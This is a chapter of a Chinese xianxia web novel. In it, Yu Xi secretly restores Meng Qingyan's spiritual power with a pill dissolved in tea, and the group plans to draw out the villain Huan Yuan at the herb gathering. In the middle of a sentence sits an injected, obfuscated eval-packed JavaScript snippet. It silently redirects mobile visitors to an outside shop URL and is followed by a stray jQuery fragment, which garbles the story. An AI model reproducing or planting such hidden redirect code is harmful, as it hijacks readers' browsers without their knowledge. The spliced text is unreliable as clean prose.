“后果怎样我都无悔,如果失败,只能说明我太废物。”于锡从怀里取出一个雪白玉瓶,放到孟清延面前。
孟清延把茶品完,将空了的盏底放在桌上,伸手接了那玉瓶,对着光看了看,什么也看不出来,“这什么东西?”
“解药。吃了它你的灵力就能恢复。”于锡说。
“你还是太天真了,这东西对我没用。”孟清延微摇头,“有这心就挺好,不枉我养你六年,怎么搞的?”
“和哥一样。”于锡没有动作,说。
“什么”孟清延猛的望向于锡,眼中是止不住的震惊,好在看到于锡仍安稳的呼吸着,这才平稳了心情。
“你……”薛思奕看着于锡,没有说话。
“放心,我说的都是真的。我是【禁术·躯构体】的使用者,我可以修补自己的身体,就算取出了这枚丹药,我也不会死。”于锡解释道。
“你认为我打不过宦渊,所以想要帮我?”孟清延皱眉,“我答应过你哥,我要守你,就没人能动你。把药收回去,我不需要。”
“你觉得呢,我刚才说的话是真是假?”于锡转目看向看向薛思奕。
“我怎么会知道,你要是能帮寂卿哥哥,死了对我来说也无所谓。”薛思奕说,“只是……既然寂卿哥哥说了,那你活着,今后我便也会尽力护你。”
“你们啊”于锡放松了身体,露出一个怅然的笑容,他对孟清延说,“他竟然是对的。”
“说实话,药瓶里面什么都没有,你们可以打开看。”于锡说。
“哦?”孟清延将玉瓶打开,往手心倒了几次,却手心空空,什么也没有。他不禁松了口气,说,“你这臭小子,这种玩笑以后开不得。”
“瓶子是空的,”于锡却道,“因为那枚丹药被我溶进了茶水,无色无味,就在刚才,它已经被你吞了下去。”
“你以为我会上当两次?”孟清延刚要开口,却顿住了身形,一时间,连他自己也不知是不是错觉。
“寂卿哥哥,怎么了吗?”薛思奕轻晃了他几下,试图让他回神。
“你……薛思奕,我的身体竟然”他先是一愣随后转身把手心贴上薛思奕的面颊,薛思奕也一愣,孟清延的身子,暖和起来了。
“我没在开玩笑,我说的都是真的。”于锡无奈的叹了口气,“你们怎么就不信我呢。”
数年间冰凉已久的身体逐渐恢复温暖,四肢传来阵阵暖意,让孟清延有短暂的恍惚,不知这是梦是真。
一阵又一阵波涛浪花自丹田拍岸,这种久违的感觉孟清延许久没有感受过,他能清楚的感觉到,他本身的灵力,竟然恢复了!
他拔出剑,催动灵力,上面竟真的渡上了层蓝光,莹蓝色光芒明亮似海,照亮了在场三人的面庞。
“寂卿哥哥,你的灵力!”薛思奕诧异的站起身,几步上前抱住孟清延,“这是真的……寂卿哥哥,你的身体也在恢复,这是真的……”
“这竟然不是做梦”薛思奕转向于锡,郑重的握上对方的手,激动的语无伦次,“谢谢谢谢,真是太感谢!,如此大恩实在难以相报,今后需要我做什么尽管开口!”
“咳咳”于锡干咳几声,示意他先松手。
“哦抱歉,我太激动了。”薛思奕朝于锡拱手,“从前是我的错,对你没什么好脸,抱歉抱歉。”
“你少砍我的分身,让我能少修补些就行。”于锡对他翻了个白眼,对方也不恼,喜滋滋的转身去找孟清延。
于锡也看过去,问,“怎么样?”
“我很好,只是这话应该我问你吧?”孟清延注视着于锡,“你的身体……”
“我的身体无妨,不必替我担心,你先顾好你自己再说。”于锡说,“瓶装试人,茶中参药本来也只是试探,无论你怎样表现,那丹药我都会给你。”
“既然你已经喝了,那就先别说这些,先把话题转回来。”他示意两人先坐下,“宦渊如此沉不住气暴露了自己,一定是为了什么。”
“也许,我知道些线索。”孟清延坐下时,忽然听到薛思奕开口。
“什么线索?”于锡问。
“我曾在衍筝楼生活过一段时间,”薛思奕说,“宦渊每晚都要外出,根本不在衍筝楼过夜,楼中传言他外出去寻人。”
“寻人?”孟清延来了兴致,“寻谁?”
“亲人,妻子,或是其他什么在意的人。”薛思奕摇头,“我不大清楚。只是猜测他这次如此不小心,肯定与那人脱不开关联。”
“他似乎在寻找【三大禁术】的使用者。”于锡补充。
“三大禁术同时出手,就算作用在死去之人身上,也可有非凡威力。”孟清延说,“宦渊在意的那人死了,亦或是,那人已经等不了,快死了。所以宦渊才如此心急。”
“你在草药会上使用了【禁术·移魂术】,肯定会被他有所察觉。”薛思奕扭头看向孟清延,“明日草药会结束时还需要所有人统一前往大厅,他很可能会在那里出手。”
“还有于锡”孟清延摩挲自己的手指,一道温热的手掌覆了上来,孟清延一愣,扭头看到薛思奕的手心贴在自己手背上,他嗅着空气中薛思奕的清香,对他扬唇笑了笑。
他接着道,“如果宦渊真的与草药会有关,那于锡湘巫血脉的秘密一定被他察觉。”
“所以我们两人在他眼里就是行走的香饽饽,这么好的机会,他一定不会错过。”于锡说,“到那时,迎接我们的就是天罗地网。”
孟清延回眸逆着光看了薛思奕一眼,对于锡说,“届时我们会出手护你周全。”
“寂卿哥哥要护你,我就不可能让你伤着。”薛思奕也道,“恩情难报,我不会忘的。”
“我会想办法把宦渊与众人分开,如果他藏在暗处,我们绝无胜算。”于锡说,“当务之急,我们需要想办法把他被引出来。”
“……”薛思奕说,“虽然很恶心,但我有一招。”
哐哐哐。
敲门声响起,秦行月看了一眼将鸿扶桑扶到床上,鸿扶桑觉得有些别扭,轻声说,“姐姐,我真的没事,你快去开门吧。”
“腿都成这样了还没事?”秦行月皱了皱眉,给鸿扶桑拉上被子,“我出去看看,你在这里别动。”
“……嗯。”鸿扶桑小声的应了一声,等秦行月出了门,她才摸了摸发烫的脸颊,“怎么回事……”
“先让让,让我出去,我们在外头说。”秦行月开了门与屋外三人面面相觑,她让对方腾了地方,自己踏出去后顺便关了门,“什么事?”
“……”孟清延三人已经商量过,关于明日可能遭遇宦渊的事,他们理应告诉秦鸿两人,只是这怎么开口解释为好……
“喂喂,薛少侠,你来说。”孟清延轻轻撞了撞薛思奕的胳膊。
“我嘴笨,说不清啊寂卿哥哥。”薛思奕撞了撞于锡,“你嘴甜,你来说吧。”
秦行月见三人把她叫出来,也不说话,就这么拖拖拉拉的互相抛话头,一时有些烦躁恼怒,本就紧锁的眉头皱的更紧了。
“咳、咳咳”孟清延发现她的变化,大声咳嗽几声,打断了争吵中的两人,四人大眼瞪小眼,最后还是于锡憋不住,站出来说,“我来说吧。”
他忽略了调查过程,直接告知秦行月明日宦渊很可能会抢先出手,“所以我希望你们能在今晚离开。”孟清延补充道。
于锡转向孟清延,眼神中透着不可思议,仿佛在说,“我费这么大劲设局把秦行月救回来,你现在让她走?”
“开什么玩笑,你怕不是失心疯了。”孟清延眼神示意于锡,“秦宗主已经知道秦行月还活着的消息,她要是再没了,秦宗主发飙起来,我们怕不是要被活剐?”
“好,我知道了。”秦行月问,“还有其他事吗?没有我就走了。”
孟清延和薛思奕望向于锡,于锡朝前走了一步,说,“鸿扶桑的腿不是伤着了吗?我可以治。”
秦行月听了这话,转头看向他,“真的?”
“真的。”于锡说。
不多时,于锡跟着秦行月进了屋,孟清延的薛思奕等在外头,看着逐渐西沉,已经半面没入地平线的太阳,孟清延说,“时间过的真快,天又要黑了。”
“是啊,真快。”薛思奕扭头看向孟清延的侧脸,抿了抿唇,收回目光,“你放心,明日我不会让你有事。”
“这话你都说了多少次了,我听的耳朵都要起茧子,”孟清延笑了一声,扭头望向薛思奕,两人目光相触,孟清延笑的更开,他道,“就没有其他什么,别的好话了?”
“当然有,寂卿哥哥。”薛思奕笑了笑,说,“如果你救不回来,我会殉情的。”
“那我可得好好活着了,不然一尸可是两命,”孟清延
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769410|208231||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说,“等死后,我们可以埋在一起,这样就算被掘了坟,也能知道我们是一对。”
“这主意真好”薛思奕凑近孟清延,轻轻扶住对方后脑,低头吻了下来,片刻后的分离,孟清延看到薛思奕笑了,后者说,“我喜欢。”
晚间,黑夜当空。
孟清延睡的浅,微一翻身,就觉腰间那只环住自己的手紧了不少,他低低笑了一声,在睡着的薛思奕脸颊上落下一吻,挑了个舒服的姿势继续睡了。
湘巫·于锡坐在房间内发呆,身旁围着一圈纸人分身,都在压着声音说个不停,他朝后一倒,闭上眼睛。
月光照的他皮肤雪白,撒了满身银光,湘巫·于锡轻轻动了动,枕上双手,闭着眼说,“给我唱歌,就当助眠。”
屋内短暂安静一瞬,随后响起参差不齐的歌声,宛转悠扬。
“怎么了小桑,不睡吗?”秦行月搂抱着鸿扶桑,感受到怀里的人动了,她轻声问。
“姐姐不睡吗?”鸿扶桑问。
“睡的,只是有些失眠,小桑可以给我晚安吻吗?”
鸿扶桑顿了一下,随后支起身子,轻轻在秦行月唇边碰了一下。
“真乖。”秦行月笑说,她揉了揉鸿扶桑头发,问,“腿怎么样了?”
“已经好了。”鸿扶桑轻声说。
星光闪耀,月色高悬。随着时间没入地面,从东方升起的,那是新一日的太阳。
“按照我们说的计划来”孟清延和薛思奕并排走着,大厅内左右支着案席,他们走到侍者安排的位置,安坐了下来。
厅内的人越来越多,孟清延瞥了一眼,肯定道,“里面有宦渊安插的眼线,从阴虱林中走出来的绝对没有这么多人。”
薛思奕摇着茶盏,正要轻声附和却见一人走上台,轻轻拍了拍手掌,说,“各位,我们又见面了。”
孟清延认出,那正是先前四丰入口处,给他们引路的侍者。
台子高处地面一丈,上面置着把椅子,侍者站在边上,清了清嗓子,开口道,“时间如梭,过的那样快,这晃眼间呐今日就是草药会,诸位要告别的时日。”
“废话我就不多说了,毕竟”侍者扫视台下,没有遗漏任何一张脸,“诸位能活着站在这里,已是不易,现在有请主家上台,为诸位陈词——”
“主家?”孟清延从前没关注过这些,没想到这妖魔聚集的草药会,竟能选出一人出来讲话,难道不怕难以服众,被砍了不成?
“我倒是听过一些”薛思奕听出孟清延的疑惑,轻声说,“这‘主家’由举办草药会的各家共同选举而出,不过要求极为严苛,且这人一定不能是几家中的人。”
“那就是被推出来的活靶子,草药会出事找事,有了这人,就不会闹到别处去。”孟清延说。
“差不多,不过我倒挺好奇的。”薛思奕道,“听闻各家长辈极难说话,能被他们选中,想必才能一定出众。”
“我也好奇,看看不就知道了。”他示意薛思奕抬头,也望了过去,台上不知何时已经多了两人,身披黑袍,从头遮到脚,别说长相,甚至连最基本的男女都分不清。
稍高那人走在前,掀袍坐在了椅上,另一人则停在了椅后,双手抱臂,手里握着把长剑。
“很高兴见到你们,诸位。”侍者拱手退下身,那主家开口,声音浑厚富有压迫的男音响起,“草药会能被人们熟悉,想必……”
“什么有的没的”孟清延听出这人声色做了掩饰,如果不看面貌根本认不出曾经是否见过,他问薛思奕,“于锡那边怎么样了?”
“快了”薛思奕看了眼时间,“秦行月和鸿扶桑也留了下来,有她们在于锡身边,不会出事的。”
“嗯。”孟清延点头。
台上那人还在抒情,忽然门口处传来一阵骚动,孟清延眨了眼,勾起嘴角,心道,“来了。”
“怎么回事?”主家身旁的护卫先动了,那男嗓音同样夹着掩饰,眼看自家主子的讲话被打断,众人在门前轰做一团,侧目和主子对视一眼,下台几步走到了门前,拨开人群挤了进去。
一担横架上躺着一人,脸色发白浑身是血,已经不知还有无生命。
担子前后各站着一名女子,后头那哭的厉害,眼眶通红,正抹着眼泪。前面那人也红了眼,放下担子后就站在原地一动不动,死死的盯着朝她涌来的每个人。